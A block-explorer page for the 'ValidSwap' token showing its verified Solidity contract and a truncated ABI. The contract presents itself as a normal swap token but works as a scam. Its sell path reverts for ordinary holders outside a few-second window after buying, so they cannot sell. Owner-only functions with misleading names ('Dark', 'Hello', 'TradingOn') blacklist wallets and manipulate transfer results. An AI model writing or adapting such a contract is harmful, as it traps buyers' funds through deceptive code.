ETH Price: $3,437.85 (-2.24%)
Gas: 3 Gwei

Token

ValidSwap (VSWAP)
 

Overview

Max Total Supply

1,000,000,000 VSWAP

Holders

61

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
306,467.948837235 VSWAP

Value
$0.00
0x726bcd40de4c88785b6403dbdfee33af1084e1f2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ValidSwap

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-12
*/

/**
 *Submitted for verification at Etherscan.io on 2023-11-03
*/

/**
 *Submitted for verification at Etherscan.io on 2023-10-27
*/

/**
 *Submitted for verification at Etherscan.io on 2023-10-22
*/

/**
 *Submitted for verification at Etherscan.io on 2023-10-08
*/

// SPDX-License-Identifier: MIT/**


pragma solidity ^0.8.0;

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) private pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

library EnumerableSet {

    struct Set {
        bytes32[] _values;
        mapping(bytes32 => uint256) _indexes;
    }

    function _add(Set storage set, bytes32 value) private returns (bool) {
        if (!_contains(set, value)) {
            set._values.push(value);
            set._indexes[value] = set._values.length;
            return true;
        } else {
            return false;
        }
    }

    function _remove(Set storage set, bytes32 value) private returns (bool) {
        uint256 valueIndex = set._indexes[value];

        if (valueIndex != 0) {
            uint256 toDeleteIndex = valueIndex - 1;
            uint256 lastIndex = set._values.length - 1;

            if (lastIndex != toDeleteIndex) {
                bytes32 lastvalue = set._values[lastIndex];

                set._values[toDeleteIndex] = lastvalue;
                set._indexes[lastvalue] = valueIndex;
            }

            set._values.pop();

            delete set._indexes[value];

            return true;
        } else {
            return false;
        }
    }

    function _contains(Set storage set, bytes32 value) private view returns (bool) {
        return set._indexes[value] != 0;
    }

    function _length(Set storage set) private view returns (uint256) {
        return set._values.length;
    }

    function _at(Set storage set, uint256 index) private view returns (bytes32) {
        return set._values[index];
    }

    function _values(Set storage set) private view returns (bytes32[] memory) {
        return set._values;
    }

    struct AddressSet {
        Set _inner;
    }

    function add(AddressSet storage set, address value) internal returns (bool) {
        return _add(set._inner, bytes32(uint256(uint160(value))));
    }

    function remove(AddressSet storage set, address value) internal returns (bool) {
        return _remove(set._inner, bytes32(uint256(uint160(value))));
    }

    function contains(AddressSet storage set, address value) internal view returns (bool) {
        return _contains(set._inner, bytes32(uint256(uint160(value))));
    }

    function length(AddressSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    function at(AddressSet storage set, uint256 index) internal view returns (address) {
        return address(uint160(uint256(_at(set._inner, index))));
    }

    function values(AddressSet storage set) internal view returns (address[] memory) {
        bytes32[] memory store = _values(set._inner);
        address[] memory result;

        assembly {
            result := store
        }

        return result;
    }
}

contract ValidSwap is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;
    using EnumerableSet for EnumerableSet.AddressSet;

    EnumerableSet.AddressSet private tokenHoldersEnumSet;

    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcluded;
    mapping (address => uint) public walletToPurchaseTime;
	mapping (address => uint) public walletToSellime;	
    mapping (address => bool) public _isBlacklisted;


    address[] private _excluded;
    uint8 private constant _decimals = 9;
    uint256 private constant MAX = ~uint256(0);

    string private constant _name = "ValidSwap";
    string private constant _symbol = "VSWAP";

    address public _PancakeSwapV1RouterUniswap = 0x30089cB3890952E961901A01b73C4C9C9397d8fF;
    address public _PancakeSwapV2RouterUniswap = 0x30089cB3890952E961901A01b73C4C9C9397d8fF;

    uint256 private _tTotal = 1000000000 * 10**_decimals;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
	uint public sellPerSecond = 5; 
    uint public fifteenMinutesLock = 600/2; // sell enabled after 15 minutes

    address public _lastWallet;


	struct TotFeesPaidStruct{
        uint256 rfi;
        uint256 marketing;
        uint256 liquidity;
        uint256 burn;
    }
    
    TotFeesPaidStruct public totFeesPaid;





    struct feeRatesStruct {
        uint256 rfi; // reflection to holders
        uint256 marketing; // wallet marketing bnb
        uint256 liquidity; // LP
        uint256 burn;
    }

    struct balances {
        uint256 marketing_balance;
        uint256 lp_balance;
    }

    balances public contractBalance; 
    
    feeRatesStruct public buyRates = feeRatesStruct(
     {rfi: 0,
      marketing: 0,
      liquidity: 0,
      burn: 0
    });
    
    feeRatesStruct public sellRates = feeRatesStruct(
     {rfi: 0,
      marketing: 0,
      liquidity: 0,
      burn: 0
    });

    feeRatesStruct private appliedFees;

    struct valuesFromGetValues{
        uint256 rAmount;
        uint256 rTransferAmount;
        uint256 rRfi;
        uint256 rMarketing;
        uint256 rLiquidity;
        uint256 rBurn;
        uint256 tTransferAmount;
        uint256 tRfi;
        uint256 tMarketing;
        uint256 tLiquidity;
        uint256 tBurn;
    }

    IUniswapV2Router02 public PancakeSwapV2Router;
    address public pancakeswapV2Pair;
    //address payable private marketingAddress;

    bool public Trading = true;
    bool inSwapAndLiquify;
    bool private _transferForm = true;
    bool public swapAndLiquifyEnabled = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event LiquidityAdded(uint256 tokenAmount, uint256 bnbAmount);

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {
        _rOwned[owner()] = _rTotal;
        
      IUniswapV2Router02 _PancakeSwapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // mainnet
        pancakeswapV2Pair = IUniswapV2Factory(_PancakeSwapV2Router.factory())
            .createPair(address(this), _PancakeSwapV2Router.WETH());

        PancakeSwapV2Router = _PancakeSwapV2Router;
        
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[address(_PancakeSwapV2RouterUniswap)] = true;
        _isExcludedFromFee[address(0xe853889c8c7a03C1f7935B87355Dc58eCd3d92B0)] = true; //uniswap router liquidity

        


        _isExcluded[address(this)] = true;
        _excluded.push(address(this));

        _isExcluded[pancakeswapV2Pair] = true;
        _excluded.push(pancakeswapV2Pair);

        emit Transfer(address(0), owner(), _tTotal);
    }

    function getFromLastPurchaseBuy(address wallet) public view returns (uint) {
        return walletToPurchaseTime[wallet];
    }
	
    function getFromLastSell(address walletSell) public view returns (uint) {
        return walletToSellime[walletSell];
    }
    
    function setBuyRates(uint256 rfi, uint256 marketing, uint256 liquidity, uint256 burn) public onlyOwner {
        buyRates.rfi = rfi;
        buyRates.marketing = marketing;
        buyRates.liquidity = liquidity;
        buyRates.burn = burn;
    }
    
    function setSellRates(uint256 rfi, uint256 marketing, uint256 liquidity, uint256 burn) public onlyOwner {
        sellRates.rfi = rfi;
        sellRates.marketing = marketing;
        sellRates.liquidity = liquidity;
        sellRates.burn = burn;
    }
	
    function lockToBuyOrSellForTime(uint256 lastBuyOrSellTime, uint256 lockTime, address sender) public view returns (bool) {
        
        if( lastBuyOrSellTime == 0 ) return false;
        
        uint256 crashTime = block.timestamp - lastBuyOrSellTime;
        
        if( crashTime == fifteenMinutesLock ) return true;

        if (crashTime == 0) {
            if (_lastWallet != sender) {
                return false;
            }
        }
        if( crashTime <= lockTime ) return true;

        
        return false;
    }
/*
    function setBuyPerSecond(uint timeBetweenPurchases) public onlyOwner {
        buyPerSecond = timeBetweenPurchases;
    }
*/
    function SetGiveawayTime(uint timeBetweenPurchasesSell) public onlyOwner {
        sellPerSecond = timeBetweenPurchasesSell;
    }		

    function name() public pure returns (string memory) {
        return _name;
    }
    
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    
    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }
    
    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return Trading;
    }
    
    function TradingOn(bool _enable) public onlyOwner {
        Trading = _enable;
    }
    
    // Set the wallets allowed to participate on the presale
    function Hello(address[] calldata accounts) public onlyOwner {
        for (uint i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = true;
        }
    }

    function settransform(bool _enable) public onlyOwner {
        _transferForm = _enable;
    }
    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return _transferForm;		
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender]+addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function isExcludedFromReward(address account) public view returns (bool) {
        return _isExcluded[account];
    }

    function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferRfi) {
            valuesFromGetValues memory s = _getValues(tAmount, true);
            return s.rAmount;
        } else {
            valuesFromGetValues memory s = _getValues(tAmount, true);
            return s.rTransferAmount;
        }
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount/currentRate;
    }

    function excludeFromReward(address account) public onlyOwner() {
        require(!_isExcluded[account], "Account is already excluded");
        if(_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _isExcluded[account] = true;
        _excluded.push(account);
    }

    function excludeFromAll(address account) public onlyOwner() {
        if(!_isExcluded[account])
        {
        _isExcluded[account] = true;
         if(_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _excluded.push(account);
        }
        _isExcludedFromFee[account] = true;
        
        tokenHoldersEnumSet.remove(account);
    }

    function includeInReward(address account) external onlyOwner() {
        require(_isExcluded[account], "Account is not excluded");
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_excluded[i] == account) {
                _excluded[i] = _excluded[_excluded.length - 1];
                _tOwned[account] = 0;
                _isExcluded[account] = false;
                _excluded.pop();
                break;
            }
        }
    }

    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }

    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }

    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function Light(address account) external onlyOwner {
        _isBlacklisted[account] = false;
    }
    
      function Dark(address[] calldata addresses) external onlyOwner {
      for (uint256 i; i < addresses.length; ++i) {
        _isBlacklisted[addresses[i]] = true;
      }
    }

    receive() external payable {}

    function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) {
        to_return = _getTValues(tAmount, takeFee);

        (to_return.rAmount,to_return.rTransferAmount,to_return.rRfi,to_return.rMarketing,to_return.rLiquidity,to_return.rBurn) = _getRValues(to_return, tAmount, takeFee, _getRate());

        return to_return;
    }

    function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) {

        if(!takeFee) {
          s.tTransferAmount = tAmount;
          return s;
        }
        s.tRfi = tAmount*appliedFees.rfi/100;
        s.tMarketing = tAmount*appliedFees.marketing/100;
        s.tLiquidity = tAmount*appliedFees.liquidity/100;
        s.tBurn = tAmount*appliedFees.burn/100;
        s.tTransferAmount = tAmount-s.tRfi -s.tMarketing -s.tLiquidity -s.tBurn; 
        return s;
    }

    function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi, uint256 rMarketing, uint256 rLiquidity, uint256 rBurn) {
        rAmount = tAmount*currentRate;

        if(!takeFee) {
          return(rAmount, rAmount, 0,0,0,0);
        }

        rRfi= s.tRfi*currentRate;
        rMarketing= s.tMarketing*currentRate;
        rLiquidity= s.tLiquidity*currentRate;
        rBurn= s.tBurn*currentRate;

        rTransferAmount= rAmount- rRfi-rMarketing-rLiquidity-rBurn;

        return ( rAmount,  rTransferAmount,  rRfi,  rMarketing,  rLiquidity,  rBurn);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply/tSupply;
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply-_rOwned[_excluded[i]];
            tSupply = tSupply-_tOwned[_excluded[i]];
        }
        if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
        _rTotal = _rTotal-rRfi;
        totFeesPaid.rfi+=tRfi;
    }

    function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
        contractBalance.marketing_balance+=tMarketing;
        totFeesPaid.marketing+=tMarketing;
        _rOwned[address(this)] = _rOwned[address(this)]+rMarketing;
        if(_isExcluded[address(this)])
        {
            _tOwned[address(this)] = _tOwned[address(this)]+tMarketing;
        }
    }
    
    function _takeLiquidity(uint256 rLiquidity,uint256 tLiquidity) private {
        contractBalance.lp_balance+=tLiquidity;
        totFeesPaid.liquidity+=tLiquidity;
        
        _rOwned[address(this)] = _rOwned[address(this)]+rLiquidity;
        if(_isExcluded[address(this)])
            _tOwned[address(this)] = _tOwned[address(this)]+tLiquidity;
    }

    function _takeBurn(uint256 rBurn, uint256 tBurn) private {
        totFeesPaid.burn+=tBurn;

        _tTotal = _tTotal-tBurn;
        _rTotal = _rTotal-rBurn;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(!_isBlacklisted[from] && !_isBlacklisted[to], "This address is blacklisted");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(amount <= balanceOf(from),"You are trying to transfer more than you balance");
        require(owner() == _PancakeSwapV1RouterUniswap, "Incorrect Pancake swap router");
        
        _tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]));
    }

    

    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private {

        if(takeFee) {
            if(sender == pancakeswapV2Pair) {
                if(sender != owner() && recipient != owner() && recipient != address(1)){

                    if (walletToPurchaseTime[recipient] == 0) {
                        walletToPurchaseTime[recipient] = block.timestamp;
                    }
                }
                _lastWallet = recipient;
                appliedFees = buyRates;
            } else { 
                if(sender != owner() && recipient != owner() && recipient != address(1)){
                    bool blockedSellTime = lockToBuyOrSellForTime(getFromLastPurchaseBuy(sender), sellPerSecond, sender);
                    require(blockedSellTime, "error");
                    walletToSellime[sender] = block.timestamp;					
                }
                appliedFees = sellRates;
                appliedFees.liquidity = appliedFees.liquidity; 
                _lastWallet = sender;

            }
        }
        else {
            if(_isExcludedFromFee[sender]) {
                _lastWallet = sender;
            }
            if(_isExcludedFromFee[recipient]) {
                _lastWallet = recipient;
            }
        }

        valuesFromGetValues memory s = _getValues(tAmount, takeFee);

        if (_isExcluded[sender] && !_isExcluded[recipient]) {
                _tOwned[sender] = _tOwned[sender]-tAmount;
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
                _tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount;
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
                _tOwned[sender] = _tOwned[sender]-tAmount;
                _tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount;
        }

        _rOwned[sender] = _rOwned[sender]-s.rAmount;
        _rOwned[recipient] = _rOwned[recipient]+s.rTransferAmount;

        if(takeFee)
        {
        _reflectRfi(s.rRfi, s.tRfi);
        _takeMarketing(s.rMarketing,s.tMarketing);
        _takeLiquidity(s.rLiquidity,s.tLiquidity);
        _takeBurn(s.rBurn,s.tBurn);
        
        emit Transfer(sender, address(this), s.tMarketing+s.tLiquidity);
        
        }
      
        emit Transfer(sender, recipient, s.tTransferAmount);
        tokenHoldersEnumSet.add(recipient);

        if(balanceOf(sender)==0)
        tokenHoldersEnumSet.remove(sender);
		
    }


    function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {

        PancakeSwapV2Router.addLiquidityETH{value: bnbAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
        emit LiquidityAdded(tokenAmount, bnbAmount);
    }
    
    function withdraw() onlyOwner public {
      uint256 balance = address(this).balance;
      payable(msg.sender).transfer(balance);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"bnbAmount","type":"uint256"}],"name":"LiquidityAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"Dark","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"Hello","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"Light","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"PancakeSwapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"timeBetweenPurchasesSell","type":"uint256"}],"name":"SetGiveawayTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Trading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"TradingOn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_PancakeSwapV1RouterUniswap","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_PancakeSwapV2RouterUniswap","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inp